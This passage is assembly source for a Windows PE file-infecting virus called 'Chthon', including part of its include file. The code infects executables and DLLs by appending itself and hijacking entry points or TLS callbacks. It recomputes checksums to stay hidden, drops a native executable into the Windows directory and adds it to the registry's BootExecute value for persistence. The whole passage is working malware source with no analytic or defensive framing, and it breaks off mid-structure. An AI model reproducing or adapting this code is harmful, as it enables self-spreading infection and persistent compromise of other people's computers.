|
delta_label label near
|
|||
|
push ecx
|
|||
|
push edi
|
|||
|
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
|
|||
|
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
|
|||
|
movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum]
|
|||
|
imul eax, eax, size pesect
|
|||
|
movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
|
|||
|
add eax, ecx
|
|||
|
lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
|
|||
|
lods dword ptr [esi]
|
|||
|
mov cx, offset chthon_codeend - offset chthon_begin
|
|||
|
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
|
|||
|
push eax
|
|||
|
add eax, ecx
|
|||
|
dec edx
|
|||
|
add eax, edx
|
|||
|
not edx
|
|||
|
and eax, edx ;file align last section
|
|||
|
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;raw size is file aligned. virtual size is not required to be section aligned
|
|||
|
;so if old virtual size is larger than new raw size, then size of image does
|
|||
|
;not need to be updated, else virtual size must be large enough to cover the
|
|||
|
;new code, and size of image is section aligned
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
|
|||
|
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
|
|||
|
jnb test_reloff
|
|||
|
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
|
|||
|
add eax, ebp
|
|||
|
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
|
|||
|
dec edx
|
|||
|
add eax, edx
|
|||
|
not edx
|
|||
|
and eax, edx
|
|||
|
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;if relocation table is not in last section, then append to last section
|
|||
|
;otherwise, move relocations down and insert code into space
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
test_reloff label near
|
|||
|
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
|
|||
|
jne copy_code
|
|||
|
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
|
|||
|
jb copy_code
|
|||
|
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
|
|||
|
add eax, ebp
|
|||
|
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
|
|||
|
jnb copy_code
|
|||
|
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
|
|||
|
pop eax
|
|||
|
push esi
|
|||
|
add edi, dword ptr [esi]
|
|||
|
lea esi, dword ptr [edi + eax - 1]
|
|||
|
lea edi, dword ptr [esi + ecx]
|
|||
|
xchg ecx, eax
|
|||
|
std
|
|||
|
rep movs byte ptr [edi], byte ptr [esi]
|
|||
|
cld
|
|||
|
pop esi
|
|||
|
pop edi
|
|||
|
push edi
|
|||
|
push ecx
|
|||
|
xchg ecx, eax
|
|||
|
|
|||
|
copy_code label near
|
|||
|
pop edx
|
|||
|
add ebp, edx
|
|||
|
xchg ebp, eax
|
|||
|
add edx, dword ptr [esi]
|
|||
|
add edi, edx
|
|||
|
push esi
|
|||
|
push edi
|
|||
|
mov esi, offset chthon_begin - offset delta_label
|
|||
|
add esi, dword ptr [esp + infectstk.infseh.mapsehinfret]
|
|||
|
;delta offset
|
|||
|
rep movs byte ptr [edi], byte ptr [esi]
|
|||
|
pop edi
|
|||
|
pop esi
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;always alter entry point of dlls
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum + 1], IMAGE_FILE_DLL shr 8
|
|||
|
je test_tlsdir
|
|||
|
lea edx, dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum]
|
|||
|
|
|||
|
alter_func label near
|
|||
|
add eax, offset chthon_tlscode - offset chthon_begin
|
|||
|
xchg dword ptr [edx], eax
|
|||
|
sub eax, offset host_patch - offset chthon_tlscode
|
|||
|
sub eax, dword ptr [edx]
|
|||
|
mov dword ptr [edi + offset host_patch - offset chthon_begin + 3], eax
|
|||
|
jmp checksum_file
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;if tls directory exists...
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
test_tlsdir label near
|
|||
|
mov ecx, dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum]
|
|||
|
jecxz add_tlsdir ;size field is never checked
|
|||
|
call rva2raw
|
|||
|
pop edx
|
|||
|
push edx
|
|||
|
add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
|
|||
|
push eax
|
|||
|
lea eax, dword ptr [edx + ecx + tlsstruc.tlsfuncptr]
|
|||
|
mov ecx, dword ptr [eax]
|
|||
|
jecxz store_func
|
|||
|
sub ecx, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
|
|||
|
call rva2raw
|
|||
|
add edx, ecx ;do not combine
|
|||
|
mov ecx, dword ptr [edx] ;current edx used by alter_func
|
|||
|
|
|||
|
;it is impossible if it passes unattempted
|
|||
|
|
|||
|
store_func label near
|
|||
|
test ecx, ecx
|
|||
|
pop ecx
|
|||
|
xchg ecx, eax
|
|||
|
jne alter_func
|
|||
|
add eax, offset tlsdata.tlsfunc - offset chthon_begin
|
|||
|
mov dword ptr [ecx], eax
|
|||
|
add edi, offset tlsdata.tlsfiller - offset chthon_begin
|
|||
|
jmp set_funcptr
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;the only time that the section attributes are altered is when a TLS directory
|
|||
|
;is created. at that time, a writable dword must be available for the index.
|
|||
|
;the alternative is to search for a writable section with virtual size > raw
|
|||
|
;size, set index pointer to that address and reinitialise it to zero in code
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
add_tlsdir label near
|
|||
|
or byte ptr [esi + pesect.sectflags - pesect.sectrawaddr + 3], IMAGE_SCN_MEM_WRITE shr 18h
|
|||
|
add eax, offset tlsdata - offset chthon_begin
|
|||
|
mov dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum], eax
|
|||
|
add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
|
|||
|
add eax, offset tlsdata.tlsflags - offset tlsdata
|
|||
|
add edi, offset tlsdata.tlsindex - offset chthon_begin
|
|||
|
stos dword ptr [edi]
|
|||
|
add eax, offset tlsdata.tlsfunc - offset tlsdata.tlsflags
|
|||
|
stos dword ptr [edi]
|
|||
|
|
|||
|
set_funcptr label near
|
|||
|
scas dword ptr [edi]
|
|||
|
scas dword ptr [edi]
|
|||
|
add eax, offset chthon_dllcode - offset tlsdata.tlsfunc
|
|||
|
stos dword ptr [edi]
|
|||
|
|
|||
|
checksum_file label near
|
|||
|
pop edi
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
xor ecx, ecx
|
|||
|
xchg dword ptr [ebx], ecx
|
|||
|
jecxz infect_ret
|
|||
|
xor eax, eax
|
|||
|
pop ecx
|
|||
|
push ecx
|
|||
|
inc ecx
|
|||
|
shr ecx, 1
|
|||
|
clc
|
|||
|
|
|||
|
calc_checksum label near
|
|||
|
adc ax, word ptr [edi]
|
|||
|
inc edi
|
|||
|
inc edi
|
|||
|
loop calc_checksum
|
|||
|
pop dword ptr [ebx]
|
|||
|
adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD
|
|||
|
|
|||
|
infect_ret label near
|
|||
|
int 3 ;common exit using SEH
|
|||
|
db "*4U2NV*" ;that is, unless you're reading this
|
|||
|
test_infect endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;convert relative virtual address to raw file offset
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
rvaloop label near
|
|||
|
sub esi, size pesect
|
|||
|
cmp al, 'R' ;mask PUSH ESI
|
|||
|
org $ - 1
|
|||
|
rva2raw proc near ;ecx = RVA, esi -> last section header
|
|||
|
push esi
|
|||
|
cmp dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr], ecx
|
|||
|
jnbe rvaloop
|
|||
|
sub ecx, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
|
|||
|
add ecx, dword ptr [esi]
|
|||
|
pop esi
|
|||
|
ret
|
|||
|
rva2raw endp
|
|||
|
|
|||
|
;When last comes to last,
|
|||
|
; I have little power:
|
|||
|
; I am merely an urn.
|
|||
|
;I hold the bone-sap of myself,
|
|||
|
; And watch the marrow burn.
|
|||
|
;
|
|||
|
;When last comes to last,
|
|||
|
; I have little strength:
|
|||
|
; I am only a tool.
|
|||
|
;I work its work; and in its hands
|
|||
|
; I am the fool.
|
|||
|
;
|
|||
|
;When last comes to last,
|
|||
|
; I have little life.
|
|||
|
; I am simply a deed:
|
|||
|
;an action done while courage holds:
|
|||
|
; A seed.
|
|||
|
;(Stephen Donaldson)
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;virus code begins here in dlls (always) and exes (existing TLS callback pointer)
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
chthon_tlscode proc near
|
|||
|
mov eax, dword ptr [esp + initstk.initReason]
|
|||
|
push eax ;fake Reserved
|
|||
|
push eax ;real Reason
|
|||
|
push eax ;fake DLLHandle
|
|||
|
call host_patch ;real return address
|
|||
|
|
|||
|
host_patch label near
|
|||
|
add dword ptr [esp], '!bgr'
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;virus code begins here in exes (created TLS directory / callback pointer)
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
chthon_dllcode proc near ;stack = DllHandle, Reason, Reserved
|
|||
|
test byte ptr [esp + initstk.initReason], DLL_PROCESS_ATTACH or DLL_THREAD_ATTACH
|
|||
|
jne chthon_dllret ;kernel32 not in SEH chain on ATTACH messages
|
|||
|
pushad
|
|||
|
xor esi, esi
|
|||
|
lods dword ptr fs:[esi]
|
|||
|
inc eax
|
|||
|
|
|||
|
walk_seh label near
|
|||
|
dec eax
|
|||
|
xchg esi, eax
|
|||
|
lods dword ptr [esi]
|
|||
|
inc eax
|
|||
|
jne walk_seh
|
|||
|
mov edi, dword ptr [esi]
|
|||
|
call find_mzhdr
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;API CRC table, null terminated
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
execrcbegin label near ;place < 80h bytes from call for smaller code
|
|||
|
dd (execrc_count + 1) dup (0)
|
|||
|
execrcend label near
|
|||
|
dd offset drop_sys - offset execrcend + 4
|
|||
|
|
|||
|
chthon_dllret label near
|
|||
|
ret 0ch
|
|||
|
|
|||
|
syslabel label near
|
|||
|
db sysname, ".exe"
|
|||
|
db 0ch - (offset $ - offset syslabel) dup (0)
|
|||
|
|
|||
|
syssize equ 94h
|
|||
|
;RLE-based compressed MZ header, PE header, section table, import table
|
|||
|
dd 11111111110000011100001011100000b
|
|||
|
; mmmmmmmmmmz 01mmz 02mmm
|
|||
|
db 'M', 'Z', "ntdll.dll", 'P', 'E', 4ch, 1, 1
|
|||
|
dd 00000110000111100001001010010000b
|
|||
|
; z 01mz 03mmz 02r 04m
|
|||
|
db 2, 2ch, 10h, 40h
|
|||
|
dd 00000111110100100001001000111110b
|
|||
|
; z 01mmmmr 02z 04mz 07mm
|
|||
|
db 0fh, 3, 0bh, 1, 56h, syssize, 10h
|
|||
|
dd 00001001010010001011000010100001b
|
|||
|
; z 02r 04mz 05mz 02mz 02
|
|||
|
db 0ch, 40h, 10h
|
|||
|
dd 00000110000100110001000011111000b
|
|||
|
; z 01mz 02r 08mz 03mmm
|
|||
|
db 2, 4, "pow"
|
|||
|
dd 00001010000101000111100001110001b
|
|||
|
; z 02mz 02mz 07mz 03mz 04
|
|||
|
db ((offset chthon_codeend - offset chthon_begin + syssize + 1fffh) and not 0fffh) shr 8, syssize, 1, 1
|
|||
|
dd 10000111000010100001101010010010b
|
|||
|
; mz 03mz 02mz 03r 04mz 08
|
|||
|
db 10h, ((offset chthon_codeend - offset chthon_begin + syssize + 1ffh) and not 1ffh) shr 8, 1, 2
|
|||
|
dd 00001011100011000000000000000000b
|
|||
|
; z 02mmmz 06
|
|||
|
db 60h, 8, 10h
|
|||
|
dd 0
|
|||
|
;decompressed data follow. 'X' bytes are set to random value every time
|
|||
|
; db 'M', 'Z' ;00
|
|||
|
; db "ntdll.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA)
|
|||
|
; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp)
|
|||
|
; dw 14ch ;10 04 machine (overload for forwarder chain)
|
|||
|
; dw 1 ;12 06 number of sections (overload for forwarder chain)
|
|||
|
; dd 2 ;14 08 date/time stamp (overload for dll name RVA)
|
|||
|
; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA)
|
|||
|
; db X, X, X, X ;1c 10 number of symbols
|
|||
|
; dw 40h ;20 14 size of optional header
|
|||
|
; dw 30fh ;22 16 characteristics
|
|||
|
; dw 10bh ;24 18 magic
|
|||
|
; db X ;26 1a major linker
|
|||
|
; db X ;27 1b minor linker
|
|||
|
; dd 0 ;28 1c size of code (overload for import table terminator)
|
|||
|
; dd 56h ;2c 20 size of init data (overload for import name table RVA)
|
|||
|
; dd 0 ;30 24 size of uninit data (overload for import name table terminator)
|
|||
|
; dd syssize + 1000h ;34 28 entry point
|
|||
|
; db X, X, X, X ;38 2c base of code
|
|||
|
; dd 0ch ;3c 30 base of data (overload for lfanew)
|
|||
|
; dd 400000h ;40 34 image base
|
|||
|
; dd 1000h ;44 38 section align
|
|||
|
; dd 200h ;48 3c file align
|
|||
|
; db X, X ;4c 40 major os
|
|||
|
; db X, X ;4e 42 minor os
|
|||
|
; db X, X ;50 44 major image
|
|||
|
; db X, X ;52 46 minor image
|
|||
|
; dw 4 ;54 48 major subsys
|
|||
|
; dw 0 ;56 4a minor subsys (overload for import name table)
|
|||
|
; db "pow", 0 ;58 4c reserved (overload for import name table)
|
|||
|
; dd (aligned size of code) ;5c 50 size of image
|
|||
|
; dd syssize ;60 54 size of headers
|
|||
|
; dd 0 ;64 58 checksum (overload for section name)
|
|||
|
; dw 1 ;68 5c subsystem (overload for section name)
|
|||
|
; dw 0 ;6a 5e dll characteristics (overload for section name)
|
|||
|
; dd 1 ;6c 60 size of stack reserve (overload for virtual size)
|
|||
|
; dd 1000h ;70 64 size of stack commit (overload for virtual address)
|
|||
|
; dd (aligned size of code) ;74 68 size of heap reserve (overload for file size)
|
|||
|
; dd 1 ;78 6c size of heap commit (overload for file offset)
|
|||
|
; db X, X, X, X ;7c 70 loader flags (overload for pointer to relocs)
|
|||
|
; dd 2 ;80 74 number of rva and sizes (overload for pointer to line numbers)
|
|||
|
; dd 0 ;84 78 export (overload for reloc table and line numbers)
|
|||
|
; dd 60000000h ;88 7c export (overload for section characteristics)
|
|||
|
; dd 1008h ;8c 80 import
|
|||
|
; dd 0 ;90 84 import
|
|||
|
; ;94
|
|||
|
|
|||
|
drop_sys label near
|
|||
|
mov ebx, esp
|
|||
|
lea esi, dword ptr [edi + offset syslabel - offset drop_sys]
|
|||
|
mov edi, offset chthon_codeend - offset chthon_begin + syssize + 1ffh
|
|||
|
push edi
|
|||
|
xor ebp, ebp ;GMEM_FIXED
|
|||
|
push ebp
|
|||
|
call dword ptr [ebx + execrcstk.eGlobalAlloc]
|
|||
|
push eax ;GlobalFree
|
|||
|
push ebp ;WriteFile
|
|||
|
push esp ;WriteFile
|
|||
|
push edi ;WriteFile
|
|||
|
push eax ;WriteFile
|
|||
|
push ebp ;CreateFileA
|
|||
|
push ebp ;CreateFileA
|
|||
|
push CREATE_ALWAYS ;CreateFileA
|
|||
|
push ebp ;CreateFileA
|
|||
|
push ebp ;CreateFileA
|
|||
|
push GENERIC_WRITE ;CreateFileA
|
|||
|
push eax ;CreateFileA
|
|||
|
lea ecx, dword ptr [eax + 7fh]
|
|||
|
push ecx ;MoveFileA
|
|||
|
push eax ;MoveFileA
|
|||
|
push eax ;GetFileAttributesA
|
|||
|
push ebp ;SetFileAttributesA
|
|||
|
push eax ;SetFileAttributesA
|
|||
|
push ecx ;DeleteFileA
|
|||
|
push ecx ;GetTempFileNameA
|
|||
|
push ebp ;GetTempFileNameA
|
|||
|
push esp ;GetTempFileNameA
|
|||
|
push eax ;GetTempFileNameA
|
|||
|
push edi ;GetWindowsDirectoryA
|
|||
|
push eax ;GetWindowsDirectoryA
|
|||
|
xchg ebp, eax
|
|||
|
call dword ptr [ebx + execrcstk.eGetWindowsDirectoryA]
|
|||
|
lea edi, dword ptr [ebp + eax - 1]
|
|||
|
call dword ptr [ebx + execrcstk.eGetTempFileNameA]
|
|||
|
call dword ptr [ebx + execrcstk.eDeleteFileA]
|
|||
|
mov al, '\'
|
|||
|
scas byte ptr [edi]
|
|||
|
je skip_slash
|
|||
|
stos byte ptr [edi]
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;append sys name, assumes name is 0ch bytes long
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
skip_slash label near
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
movs dword ptr [edi], dword ptr [esi]
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
call dword ptr [ebx + execrcstk.eSetFileAttributesA]
|
|||
|
call dword ptr [ebx + execrcstk.eGetFileAttributesA]
|
|||
|
test al, FILE_ATTRIBUTE_DIRECTORY
|
|||
|
pop ecx
|
|||
|
pop eax
|
|||
|
je skip_move
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
call dword ptr [ebx + execrcstk.eMoveFileA]
|
|||
|
|
|||
|
skip_move label near
|
|||
|
call dword ptr [ebx + execrcstk.eCreateFileA]
|
|||
|
push ebx
|
|||
|
xchg ebp, eax
|
|||
|
xchg edi, eax
|
|||
|
call dword ptr [ebx + execrcstk.eGetTickCount]
|
|||
|
xchg ebx, eax
|
|||
|
xor ecx, ecx
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;decompress sys MZ header, PE header, section table, import table
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
lods dword ptr [esi]
|
|||
|
|
|||
|
copy_bytes label near
|
|||
|
movs byte ptr [edi], byte ptr [esi]
|
|||
|
|
|||
|
test_bits label near
|
|||
|
add eax, eax
|
|||
|
jb copy_bytes
|
|||
|
add eax, eax
|
|||
|
sbb dl, dl
|
|||
|
and dl, bl
|
|||
|
shld ecx, eax, 4
|
|||
|
rol ebx, cl
|
|||
|
shl eax, 4
|
|||
|
xchg edx, eax
|
|||
|
rep stos byte ptr [edi]
|
|||
|
xchg edx, eax
|
|||
|
jne test_bits
|
|||
|
lods dword ptr [esi]
|
|||
|
test eax, eax
|
|||
|
jne test_bits
|
|||
|
mov cx, offset chthon_codeend - offset chthon_begin
|
|||
|
sub esi, offset drop_sys - offset chthon_begin
|
|||
|
rep movs byte ptr [edi], byte ptr [esi]
|
|||
|
xchg ecx, eax
|
|||
|
pop ebx
|
|||
|
pop edi
|
|||
|
pop ecx
|
|||
|
push ecx
|
|||
|
push edi
|
|||
|
push ecx
|
|||
|
mov edx, dword ptr [edi + mzhdr.mzlfanew]
|
|||
|
lea edx, dword ptr [edi + edx + pehdr.pechksum]
|
|||
|
inc ecx
|
|||
|
shr ecx, 1
|
|||
|
clc
|
|||
|
|
|||
|
exe_checksum label near
|
|||
|
adc ax, word ptr [edi]
|
|||
|
inc edi
|
|||
|
inc edi
|
|||
|
loop exe_checksum
|
|||
|
pop dword ptr [edx]
|
|||
|
adc dword ptr [edx], eax ;avoid common bug. ADC not ADD
|
|||
|
push ebp
|
|||
|
call dword ptr [ebx + execrcstk.eWriteFile]
|
|||
|
push ebp
|
|||
|
call dword ptr [ebx + execrcstk.eCloseHandle]
|
|||
|
call dword ptr [ebx + execrcstk.eGlobalFree]
|
|||
|
sub esi, offset chthon_codeend - offset regdll
|
|||
|
push esi
|
|||
|
call dword ptr [ebx + execrcstk.eLoadLibraryA]
|
|||
|
inc eax
|
|||
|
xchg edi, eax
|
|||
|
call find_mzhdr
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;API CRC table, null terminated
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
regcrcbegin label near ;place < 80h bytes from call for smaller code
|
|||
|
dd (regcrc_count + 1) dup (0)
|
|||
|
regcrcend label near
|
|||
|
dd offset reg_file - offset regcrcend + 4
|
|||
|
|
|||
|
regkey db "system\currentcontrolset\control\session manager", 0
|
|||
|
regval db "autocheck autochk *", 0, sysname, 0, 0
|
|||
|
regnam db "bootexecute", 0
|
|||
|
regdll db "advapi32", 0
|
|||
|
|
|||
|
reg_file label near
|
|||
|
mov ebx, esp
|
|||
|
push eax
|
|||
|
push esp
|
|||
|
sub edi, offset reg_file - offset regkey
|
|||
|
push edi
|
|||
|
push HKEY_LOCAL_MACHINE
|
|||
|
call dword ptr [ebx + regcrcstk.rRegOpenKeyA]
|
|||
|
pop eax
|
|||
|
push eax
|
|||
|
push offset regnam - offset regval
|
|||
|
add edi, offset regval - offset regkey
|
|||
|
push edi
|
|||
|
push REG_MULTI_SZ
|
|||
|
push 0
|
|||
|
add edi, offset regnam - offset regval
|
|||
|
push edi
|
|||
|
push eax
|
|||
|
call dword ptr [ebx + regcrcstk.rRegSetValueExA]
|
|||
|
call dword ptr [ebx + regcrcstk.rRegCloseKey]
|
|||
|
add esp, size execrcstk + size regcrcstk
|
|||
|
popad
|
|||
|
ret 0ch
|
|||
|
chthon_dllcode endp
|
|||
|
chthon_tlscode endp
|
|||
|
chthon_codeend label near
|
|||
|
chthon_begin endp
|
|||
|
end dropper
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[CHTHON.ASM]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[CHTHON.INC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
DLL_PROCESS_ATTACH equ 1
|
|||
|
DLL_THREAD_ATTACH equ 2
|
|||
|
|
|||
|
MAX_PATH equ 260
|
|||
|
|
|||
|
FILE_DIRECTORY_FILE equ 00000001h
|
|||
|
FILE_SYNCHRONOUS_IO_NONALERT equ 00000020h
|
|||
|
FILE_OPEN_FOR_BACKUP_INTENT equ 00004000h
|
|||
|
|
|||
|
FILE_SHARE_READ equ 00000001
|
|||
|
FILE_SHARE_WRITE equ 00000002
|
|||
|
|
|||
|
FILE_READ_DATA equ 0001h
|
|||
|
FILE_LIST_DIRECTORY equ 0001h
|
|||
|
FILE_WRITE_DATA equ 0002h
|
|||
|
FILE_APPEND_DATA equ 0004h
|
|||
|
FILE_WRITE_ATTRIBUTES equ 0100h
|
|||
|
|
|||
|
SYNCHRONIZE equ 00100000h
|
|||
|
|
|||
|
FileBothDirectoryInformation equ 3
|
|||
|
FileBasicInformation equ 4
|
|||
|
|
|||
|
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
|
|||
|
FILE_ATTRIBUTE_ARCHIVE equ 00000020h
|
|||
|
|
|||
|
IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it
|
|||
|
|
|||
|
IMAGE_FILE_RELOCS_STRIPPED equ 0001h
|
|||
|
IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h
|
|||
|
IMAGE_FILE_32BIT_MACHINE equ 0100h
|
|||
|
IMAGE_FILE_SYSTEM equ 1000h
|
|||
|
IMAGE_FILE_DLL equ 2000h
|
|||
|
IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h
|
|||
|
|
|||
|
IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2
|
|||
|
IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3
|
|||
|
|
|||
|
RANDPADMIN equ 4096
|
|||
|
RANDPADMAX equ 2048 ;RANDPADMIN is added to this
|
|||
|
|
|||
|
PAGE_READWRITE equ 04
|
|||
|
|
|||
|
STANDARD_RIGHTS_REQUIRED equ 000F0000h
|
|||
|
SECTION_QUERY equ 0001
|
|||
|
SECTION_MAP_WRITE equ 0002
|
|||
|
SECTION_MAP_READ equ 0004
|
|||
|
|
|||
|
IMAGE_SCN_MEM_WRITE equ 80000000h
|
|||
|
|
|||
|
CREATE_ALWAYS equ 2
|
|||
|
|
|||
|
GENERIC_WRITE equ 40000000h
|
|||
|
|
|||
|
HKEY_LOCAL_MACHINE equ 80000002h
|
|||
|
|
|||
|
KEY_SET_VALUE equ 2
|
|||
|
|
|||
|
REG_MULTI_SZ equ 7
|
|||
|
|
|||
|
align 1 ;byte-packed structures
|
|||
|
krncrcstk struct
|
|||
|
kRtlSetCurrentDirectory_U dd ?
|
|||
|
kRtlRandom dd ?
|
|||
|
kRtlFreeHeap dd ?
|
|||
|
kRtlDosPathNameToNtPathName_U dd ?
|
|||
|
kRtlAllocateHeap dd ?
|
|||
|
kNtUnmapViewOfSection dd ?
|
|||
|
kNtSetInformationFile dd ?
|
|||
|
kNtQueryDirectoryFile dd ?
|
|||
|
kNtOpenFile dd ?
|
|||
|
kNtMapViewOfSection dd ?
|
|||
|
kNtCreateSection dd ?
|
|||
|
kNtClose dd ?
|
|||
|
krncrcstk ends
|
|||
|
krncrc_count equ size krncrcstk shr 2
|
|||
|
|
|||
|
execrcstk struct
|
|||
|
eWriteFile dd ?
|
|||
|
eSetFileAttributesA dd ?
|
|||
|
eMoveFileA dd ?
|
|||
|
eLoadLibraryA dd ?
|
|||
|
eGlobalFree dd ?
|
|||
|
eGlobalAlloc dd ?
|
|||
|
eGetWindowsDirectoryA dd ?
|
|||
|
eGetTickCount dd ?
|
|||
|
eGetTempFileNameA dd ?
|
|||
|
eGetFileAttributesA dd ?
|
|||
|
eDeleteFileA dd ?
|
|||
|
eCreateFileA dd ?
|
|||
|
eCloseHandle dd ?
|
|||
|
execrcstk ends
|
|||
|
execrc_count equ size execrcstk shr 2
|
|||
|
|
|||
|
regcrcstk struct
|
|||
|
rRegSetValueExA dd ?
|
|||
|
rRegOpenKeyA dd ?
|
|||
|
rRegCloseKey dd ?
|
|||
|
regcrcstk ends
|
|||
|
regcrc_count equ size regcrcstk shr 2
|
|||
|
|
|||
|
tlsstruc struct
|
|||
|
tlsrawbeg dd ?
|
|||
|
tlsrawend dd ?
|
|||
|
tlsindex dd ?
|
|||
|
tlsfuncptr dd ?
|
|||
|
tlsfiller dd ?
|
|||
|
tlsflags dd ?
|
|||
|
tlsfunc dd 2 dup (?)
|
|||
|
tlsstruc ends
|
|||
|
|
|||
|
initstk struct
|
|||
|
initret dd ?
|
|||
|
initDLLHandle dd ?
|
|||
|
initReason dd ?
|
|||
|
initReserved dd ?
|
|||
|
initstk ends
|
|||
|
|
|||
|
UNICODE_STRING struct
|
|||
|
UniLength dw ?
|
|||
|
MaximumLength dw ?
|
|||
|
Buffer dd ?
|
|||
|
UNICODE_STRING ends
|
|||
|
|
|||
|
UNICODE_STRINGDD struct
|
|||
|
UniString UNICODE_STRING ?
|
|||
|
RootDir dd ?
|
|||
|
UNICODE_STRINGDD ends
|
|||
|
|
|||
|
LARGE_INTEGER struct
|
|||
|
dwordLow dd ?
|
|||
|
dwordHigh dd ?
|
|||
|
